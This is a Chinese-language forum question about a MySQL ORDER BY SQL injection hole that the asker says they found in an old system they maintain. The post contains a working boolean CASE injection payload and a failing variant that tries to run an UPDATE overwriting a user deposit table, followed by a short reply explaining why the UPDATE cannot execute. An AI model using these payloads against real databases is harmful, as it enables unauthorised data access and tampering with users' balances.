mysql - sql報錯原因?
黄舟
黄舟 2017-05-18 10:47:26
0
1
782

發現一個正在維護的舊系統的基於orderBy的sql注入漏洞,準備驗證一下,

我先執行這個sql注入,是可以的

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select case when (1=1) then 1 else ( select deposit from sysuser_user_deposit )end)=1 ASC LIMIT 20 OFFSET 0

但是當我執行這個帶有update語句的sql時報錯了:

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select case when (1=1) then 1 else ( update sysuser_user_deposit set deposit=11)end)=1 ASC LIMIT 20 OFFSET 0

報錯

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9

我該如何讓他執行update?

黄舟
黄舟

人生最曼妙的风景,竟是内心的淡定与从容!

全部回覆 (1)
淡淡烟草味

主體是select的時候,裡面是不能update的,否則執行不了的,
mybatis這種注入我試過,

    最新下載
    更多>
    網站特效
    網站源碼
    網站素材
    前端模板
    關於我們 免責聲明 Sitemap
    PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!